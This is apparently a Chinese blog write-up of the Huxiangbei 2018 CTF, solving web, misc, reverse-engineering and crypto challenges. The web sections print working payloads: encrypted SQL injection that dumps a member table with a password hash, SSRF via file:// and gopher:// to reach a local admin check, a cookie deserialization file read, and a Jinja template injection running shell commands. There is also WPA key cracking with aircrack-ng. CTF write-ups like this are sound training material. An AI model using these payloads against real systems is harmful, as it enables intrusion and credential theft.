V0W's Blog

湖湘杯2018-WP

字数统计: 2,512阅读时长: 13 min
2018/11/18 Share

前言

首先,这次湖湘杯的web出的真的差,多种非预期,多种环境问题,题目多次上线下线,还没有实时的分数榜???因为这次逆向和pwn不强,我们应该是无缘决赛了==、有点难受。。。

Web

Welcome

签到题,进入公众号回复hxb2018即得。

1
flag: hxb2018{W3lc0me_T0_Hxb2o18}

CodeCheck

首先,进入维护通知,发现这个

/news/list.php

进入/news

发现zip源码泄露,下载源码:

逻辑很简单,就是把加密的id取出来,然后解密,之后SQL查询,很明显的SQL注入,然后只是加了个加密。

根据解密函数,写个加密函数,之后把SQL语句加密提交就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
// header('content-type:text/html;charset=utf-8');
// require_once '../config.php';
//解密过程
function decode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
if(substr(trim($data),-7)!=='hxb2018'){
echo '<script>window.location.href="/index.php";</script>';
}else{
return substr(trim($data),0,strlen(trim($data))-7);
}
}

function encode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = $data.'hxb2018';
$data = mcrypt_generic($td,$data);
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
$data = base64_encode(base64_encode($data));
return $data;
}
// echo encode('0 union select 1,2,3,4#')."\n";
// echo encode('0 union select 1,database(),version(),4#')."\n";
// K3hId1N2UVpNcjFENkFja0FtMHdrN2JhOUx4ZE82R1VhU0k0UXRITlRaS2w0dnRBV2Yva3VnWFdXa21TNWhOaA==
# mozhe_discuz_stormgroup
# 5.1.73

// echo encode('0 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database()#')."\n";
// K3hId1N2UVpNcjFENkFja0FtMHdrM1NpZEZ4Z2o0TktKSElob2Z3YithcmtBYStsR0VLVUVPdFZPeHE4THZLcnYxMEpjM3FjZ0QxMHpTSHBTSExobG1IeHArc3NsMzlDaDM1TlpsTUdVb2NEMnpvNDRpcUMrVzl6ZFR2L1lobG1Yd083WnJocC80ZURGNnJaVlh4c1RyUzNKQXZVdFdRODdKQ01iQmEzYnJBPQ==
// notice,notice2,stormgroup_member

// echo encode('0 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database() and table_name="stormgroup_member"#')."\n";
// K3hId1N2UVpNcjFENkFja0FtMHdrM1NpZEZ4Z2o0TktKSElob2Z3YithckVCelF1dUJ6S2doQ3pOR2pxOGZBSDIzOWdxYlYwayt6Nm1oRU1PZUZscWVMU3BQMGgzWTNabmdHMmQ2ZXBXWVUrOVltWmZWQWtVNWM2dFVjQm1jWEM5YmlxWGF6R0N3WE1JWG52WXVONHFMRE1iZ0kyM3BtN2Y5TktKUUZoMm9KV2RmRGV5N3RreDlFV0t0QTFjRlpUOFdiRGQ0Q2FVa3h4b2JvNUc1U0FSQT09
// id,name,password,status

// echo encode('0 union select 1,name,password,4 from stormgroup_member#')."\n";
// mozhe1
// 356f589a7df439f6f744ff19bb8092c0
// dsan13

// echo encode('0 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database() and table_name="notice2"#')."\n";
// id,title
echo encode('0 union select 1,group_concat(id),group_concat(title),4 from notice2#')."\n";
// K3hId1N2UVpNcjFENkFja0FtMHdrMlVPU1lyV2NyNUc5Q240TXB0UldaaEtMakFxSWwxeTZEWmdrQU1rRERVMDhldVNZa1ZRV1lZbGdDZFUySFVJR05ZSmNjRWlBRTdwb2dNUFdhVERjN3M9
?>

1
flag: hxb2018{7a2709e852f6ee9e6ead206d055cd38}

Readflag

提示非常明显SSRF,首先SSRF+file协议读文件,我想知道web目录,于是读apache的配置文件:

http://47.107.238.167/?url=file:///etc/apache2/sites-available/000-default.conf

1
# The ServerName directive sets the request scheme, hostname and port that # the server uses to identify itself. This is used when creating # redirection URLs. In the context of virtual hosts, the ServerName # specifies what hostname must appear in the request's Host: header to # match this virtual host. For the default virtual host (this file) this # value is not decisive as it is used as a last resort host regardless. # However, you must set it for any further virtual host explicitly. #ServerName www.example.com ServerAdmin webmaster@localhost DocumentRoot /var/www/html/ssrf/web.php # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the loglevel for particular # modules, e.g. #LogLevel info ssl:warn ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined # For most configuration files from conf-available/, which are # enabled or disabled at a global level, it is possible to # include a line for only one particular virtual host. For example the # following line enables the CGI configuration for this host only # after it has been globally disabled with "a2disconf". #Include conf-available/serve-cgi-bin.conf # vim: syntax=apache ts=4 sw=4 sts=4 sr noet

得到web目录

/var/www/html/ssrf/web.php

拿到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
if(!isset($_GET['url'])){
echo "ssrf me with parameter 'url'";
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
//echo $_GET['url'];
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);

//var_dump($_POST);
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['user'])){
if($_POST['user']=="admin" && $ip=="127.0.0.1"){
system("/var/www/html/ssrf/readflag");
}

}

?>

分析逻辑,不难发现想要绕过这个判断执行程序,需要一个服务器本地代理,利用gopher协议可以做到:

paylaod:

1
/?url=gopher%3A%2F%2F127.0.0.1%3A80%2F_POST+%2F+HTTP%2F1.1%250d%250aHost%3A+127.0.0.1%250d%250aUser-Agent%3A+curl%2F7.43.0%250d%250aAccept%3A+%2A%2F%2A%250d%250aContent-Length%3A+10%250d%250aContent-Type%3A+application%2Fx-www-form-urlencoded%250d%250a%250d%250auser%3Dadmin

事实上,本题存在非预期解,因为flag文件直接就在web目录下,所以可以直接通过file协议去读flag文件:

1
flag: hxb2018{0ef0c0d15f1a33b47af2a01669fbf124}

MyNote

/robots.txt容易发现源码泄露

在/User.php中发现函数__destruct()

可能存在反序列化,又发现上传文件后,会多一个Cookie—Picture。

base64解一下,容易出来

a:1:{i:0;s:32:"F2006061314554700166_400x400.jpg";}

发现是原文件名的序列化。

将其改为想读取的文件:flag的序列化,BASE64加密得到

把原来的文件名改为flag.php

得到新的cookie,修改cookie得到flag

base64解码得到flag。

1
flag: hxb2018{445b40b69867325f6145eca1e77fc8e1}

XmeO

注册登录然后add的内容能进行模板注入

1
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()}}

选项填否,然后点show得到回显

读auto.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
 var url="http://127.0.0.1:9990/admin"
setInterval(function(){
var webPage = require('webpage');
var page = webPage.create();

var setting={
operation: "GET",
encoding: "utf8",
headers: {
"Referer":url
​ },
};

page.addCookie({
'name' : 'hint',
'value' : 'Try to get admin\'s page content',
'domain' : '127.0.0.1',
'path' : '/admin/',
'httponly' : false,
'secure' : false,
'expires' : (new Date()).getTime() + (1000 * 60 * 60)
});

page.addCookie({
'name' : 'flag',
'value' : 'hxb2018{29ffadfd3c22c8928f544c0b576e100f}',
'domain' : '127.0.0.1',
'path' : '/admin/mysecrecy_directory',
'httponly' : false,
'secure' : false,
'expires' : (new Date()).getTime() + (1000 * 60 * 60)
});
page.addCookie({
'name' : 'session',
'value' : 'eyJjc3JmX3Rva2VuIjp7IiBiIjoiWlRZNE0yUXlNR1pqTkRJNU16RXpOalJqWkRNMk4yUmxZVGd4TXpFelpHTmpabVEwWVRSak1RPT0ifSwidXNlcm5hbWUiOiJhZG1pbiJ9.DoVbkw.ylHkvfjRjM42G1I0gkcTQz4Hi5U',
'domain' : '127.0.0.1',
'path' : '/admin/',
'httponly' : true,
'secure' : false,
'expires' : (new Date()).getTime() + (1000 * 60 * 60)
});

page.open(url,setting,function(status){
console.log(page.content);
setTimeout(function(){},7000);
});

},7000);

在page.addCookie中看到了flag。

1
flag: hxb2018{29ffadfd3c22c8928f544c0b576e100f}

Misc

Disk

挂载vmdk文件,得到四个txt文件,NTFS交换数据流隐写,拼接得到的二进制

1
01100110 01101100 01100001 01100111 01111011 00110100 01000100 01010011 01011111 00110001 01101110 01011111 01000100 00110001 01110011 01101011 01111101
1
flag: flag{4DS_1n_D1sk}

flow

首先下载的是无线流量包,一般思路是解wifi密码,然后那这个做密钥来解流量报文。

利用kali的工具aircrack-ng,加上字典,容易破解得到密码password1

1
aircrack-ng ctf.pcap  -w 33889.txt

之后利用这个密码来解流量数据包,命令:

1
airdecap-ng.exe ctf.pcap -e ctf -p password1

之后wireshark分析得到的流量包:追踪一个http流,容易发现flag

1
flag: flag{H4lf_1s_3n0ugh}

Hidden Write

搜索png的文件格式尾16进制49454E44AE

得到3个结果:

说明有三张png图片,分别提取出来,之后在一张稍大点的png中,发现LSB隐写。

得到一半flag

hxb2018{1e30f3b836d78d25c

双图或多图,容易想到盲水印攻击,于是利用脚本,发现成功

得到另一半flag

20b4a}

于是得到完整的flag

1
flag: hxb2018{1e30f3b836d78d25c20b4a}

RE

Replace

IDA打开程序后几乎没什么东西,查壳发现常见的upx壳。

直接用upx脱壳机脱掉,提示有重定向,而且不能运行,但是不影响静态调试。放到IDA里查看。

逻辑不复杂,只有一个加密函数,sub_401090。

发现byte_402151[]和byte_402150[]指的是同一个字符串。在hexView里提取出来,前面两位0x32和0x61也要加上(根据后面长度判断)。

而这个byte_4021A0数组,通过IDA的findcrypt插件可以发现这其实是AES加密中的S盒,为了方便直接从AES加密里把这个数组拿出来即可。

最后按照处理过程编写脚本,基本就是照着逻辑照抄,爆破即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
box = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,

0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,

0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,

0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,

0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,

0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,

0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,

0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,

0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,

0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,

0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,

0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,

0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,

0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,

0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,

0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
key = [50, 97, 52, 57, 102, 54, 57, 99, 51, 56, 51, 57, 53, 99, 100, 101, 57, 54, 100, 54, 100, 101, 57, 54, 100, 54, 102, 52, 101, 48, 50, 53, 52, 56, 52, 57, 53, 52, 100, 54, 49, 57, 53, 52, 52, 56, 100, 101, 102, 54, 101, 50, 100, 97, 100, 54, 55, 55, 56, 54, 101, 50, 49, 100, 53, 97, 100, 97, 101, 54]

f = ''
for i in range(0,35):
for j in range(0,256):
v5 = chr(j)
v6 = (ord(v5)>>4)%16
v7 = (16*ord(v5)>>4)%16
v8 = key[2*i]
if v8 < 48 or v8 > 57:
v9 = v8 - 87
else:
v9 = v8 - 48
v11 = v9*16
v10 = key[2*i+1]
if v10 < 48 or v10 > 57:
v12 = v10 - 87
else:
v12 = v10 - 48
if box[16*v6+v7] == ((v11+v12)^0x19):
f += v5
print f

1
flag: flag{Th1s_1s_Simple_Rep1ac3_Enc0d3}

Crypto

Common Crypto

拿到exe打开要求输入flag,随便输点东西回车程序就关了。于是直接扔到IDA里看。(截图中变量名有的经过自定义,为了方便看)

gets获取输入的flag,然后进入sub_140001000(&key);这个函数查看。

能够清晰的找到这里的key值,把它取出来

1
2
3
key = [0x1b, 0x2e, 0x35, 0x46, 0x58, 0x6e ,0x72, 0x86, 0x9b,0xa7,0xb5,

0xc8,0xd9,0xef,0xff,0xc]

下面的处理过程经过和AES加密的代码对比,应该是正常的加密过程。

再进入sub_1400012A0((unsigned __int8 *)&flag, (__int64)&key);这个函数查看。基本上确定是常规的AES加密,代码过多不再贴图。

但是有个问题是key的长度是16,加密后做比较的字符串长度却太长了

按照原理,密钥长度是根据明文扩展的,而明文和密文应该是一样长,于是尝试把这段密文分成两半。分别尝试解密过程。幸运的是,前半段就成功了。

解出来一堆数字,再结合刚刚后半段的数字,猜测是十六进制转字符串。

自己添加个},尝试提交成功。

1
flag:  hxb2018{aa8871759de6f35215205566}

后记

累了,睡了,醒来学习二进制、、、

CATALOG
  1. 1. 前言
  2. 2. Web
    1. 2.1. Welcome
    2. 2.2. CodeCheck
    3. 2.3. Readflag
    4. 2.4. MyNote
    5. 2.5. XmeO
  3. 3. Misc
    1. 3.1. Disk
    2. 3.2. flow
    3. 3.3. Hidden Write
  4. 4. RE
    1. 4.1. Replace
  5. 5. Crypto
    1. 5.1. Common Crypto
  6. 6. 后记